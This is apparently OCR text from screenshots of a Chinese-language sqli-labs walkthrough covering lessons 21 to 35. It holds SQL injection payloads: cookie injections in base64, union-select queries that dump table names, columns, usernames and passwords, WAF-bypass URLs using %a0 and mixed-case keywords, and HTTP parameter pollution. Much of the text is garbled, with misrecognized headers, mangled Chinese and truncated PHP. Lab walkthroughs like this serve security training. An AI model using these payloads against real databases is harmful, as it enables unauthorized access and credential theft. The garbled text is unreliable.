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GET /sqli-labs-master/Less-21/index. php HTTR/1 .1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4, xB4; rv:83.0) Gecko/20100101
Firefox/83.0

Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp ** =08
Accept-Language: zh-CN,zh;q=0 8, zh-TW;q=0.7 ,zh-HK q=0.5 &n-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer. http://127.0.0.1/sqli-labs-master/Less-21/

Connection: close

Cookie: uname="YWRta\W4%30

Upgrade-Insecure-Requests: 1

Cache-Cantrol: max-age=0
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GET /sqli-labs-master/Less-21/index. php HTTR/1 .1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; n83.0) Gecko/20100101
Firefox/83.0

Accept: text/html application/xhtml+xml application/xml, g=0.9 imagefwebp *,q=0.8
Accept-Language: zh-CN zh;q=0.8,zh-TW,;q=0.7 .zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/M127.0.0.1/sgli-labs-master/Less-21/

Connection: close

Cookie: uname=YVWRtaVW4%3D

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0
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SET /sqli-labs-master/Less-21/index.php HTTR/1.1 A
Jost: 127.0.0.1

Jser-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; xB4; ne83.0) Gecko/20100101
“irefox/83.0

\ccept: text/htrl, appl htmi-xml application/xml;q=0.9,image/webp */*q=0.8
Accept-Language: zh-CM zh;q=0.8,zh-TW,q=0.7 zh-HK; g=0.5 &n-US;q=0.3 en;q=0.2
\ccept-Encading: gzip, deflate

eferer: hitp://127.0.0.1/sqli-labs-master/Less-21/

“onnection: close

Zookie: uname=YWRtaWinIGFuZCAxPTEgLSOr

Jpgrade-Insecure-Requests: 1

Sache-Control: max-age=0
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?id=" union select 1,2,database() '
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?id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or
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?id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or
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?id="' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' ="'
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UPDATE users SET passwd WHERE username
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UPDATE users SET passwd WHERE username

You can Change your password here.

Current Password:
New Password: [N
Retype Password: EXSXX S

Reset

Logout
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if(isset($_GET[ )

{
$id=$_GET[ 1

$fp=Ffopen(
fwrite($fp,
fclose($fp);

$id= blacklist($id);

$hint=%$id;

$sql
$result=mysql_query($sql);
$row mysql_fetch_array($result);
if($row)
{
echo
echo
echo
echo
echo

}

else

{
echo
print_r(mysql _error());
echo ;

s

s

else { echo

function blacklist($id)
{

$id= preg _replace(

$id= preg _replace(

$id= preg _replace(

$id= preg _replace(

$id= preg _replace(

$id= preg replace(

$id= preg replace(
return $id;
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http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,
(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema=‘security’ %a0%26%26%a0
"1"%a0="1

HFBRA:

http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,
(group_concat(column_name)),3%a0from%a0information_schema.columns%aOwhere%a0table_schema=‘security’%a0And%a0t
able_name=‘users’%26%26%a0"1"%a0="1

R

http://10.10.10.141/sql/Less-27a/?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),
(group_concat(username)),(3)from%aOusers%a0UNion%a0SElect%a01,2,3"="3

less28id J& T unionfiiselectk/NE

BAHRE i
T RNE
ERTTCLRANE

less28ajE T unionfliselectk/hEB

HEWRADT, ERSEA %
HKANT28 X By DAfE FVERE

0')%ABUnIoN%ABSeLeCt(1),version

less29 3K HY -2 T 45 iR i B = iE 35 B A DL A -E web . 2 R BT B —NWAF .

KAEHI R -
http://blog.csdn.net/nzjdsds/article/details/77758824

waft R R FFRA L TFH, BAFEMAKTFHRRESWalERERNIEREAHFASRNFEED RN TE, XERF2ME, —
MR Imwafft) . 55— R A BATT Z Y5 iH TH )

FEA:
?id=1&id=-1" 1,2
less3045 wafff 5 1F

% less29

1,2,group_concat(table_name information_schema table schema
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?id=-1%E6" 1,version
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Welcome

arning: mysql _fetch arr ts parameter 1 to b ce ean given in F:\WhiteFlie\PhpStudy20180211\PHPTutoria
\WWW\sqli-labs\Less-35\index.php on line 39
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
near '\' LIMIT 0,1" at line 1
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